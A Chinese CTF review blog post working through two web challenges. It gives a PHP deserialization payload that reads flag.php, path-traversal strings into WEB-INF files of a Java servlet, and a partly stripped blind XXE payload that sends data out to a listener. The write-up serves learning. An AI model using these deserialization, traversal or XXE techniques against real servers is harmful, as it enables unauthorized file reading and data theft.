复下盘。
首先是自己唯一做出来的web。而且做了一下午,这tm还是web的签到题..

AreUSerialz:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

很明确说明flag在flag.php里面。因该是要反序列化读文件,或者写马子。
先看析构函数:
function __destruct() {
if($this->op === “2”)
$this->op = “1”;
$this->content = “”;
$this->process();
}

这里当op全等‘2’的时候就会被置为1,但是当op为1的时候就会进入write:

$res = file_put_contents($this->filename, $this->content);

在这里卡了很久,因为析构函数中把content置为空了,我测试了下如果第二个参数为空就会返回false。
所以当时报failed报了一下午。。

所以写马子这条路是不通的,结合这里和process的弱判断可得,应该是要直接读。
直接赋值op=2,由于destruct中没有对filename进行赋值。
我们现在可控的参数只有op和filename。
当op=2,filename=‘flag.php’的时候,就能读了。

payload:

<?php
class FileHandler {

    public $op;
    public $filename;
    public $content;
};


$tmp=new FileHandler();
$tmp->op=2;
$tmp->filename='flag.php';
// php://filter/read=convert.base64-encode/resource=flag.php
$s_tmp=serialize($tmp);
echo $s_tmp;
unserialize($s_tmp);
?>

当时读的时候没出东西,想了想因该是在注释或者变量中什么的。就元封装器:

1.PNG


然后第二道:
filejava
不会java 还是跟着wp做一下。
事后再去看。servlet什么的。

上传文件后有文件读取,路径:http://2ebbd673-5d86-49ae-bd66-fb14c91692e7.node3.buuoj.cn/DownloadServlet?filename=xxx
然后就不知道为什么能想到../../../../..//WEB-INF/web.xml

fuzz没有好的字典。这种还是要靠积累吧。
然后也不知道怎么就知道:
../../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

因为一点servlet基础没有。是一点都看不懂。(Mark

但是接下来就是xxe。
还是蛮熟悉的。哈哈哈哈哈。

“>

%remote;%int;%send;
]>

这个和今天刚看的那个一模一样。
java中的xxe
[blind xxe][3]

然后就是监听+上传:

![2.PNG][4]


通过xxe可以做ssrf打内网,多看几张脚本。
学一下poc格式。

今天没学合约,淦!!

[3]: https://xz.aliyun.com/t/3357# toc-8
[4]: https://oss.cnmf.net.cn/image/2020/05/15/770612564588243/2.PNG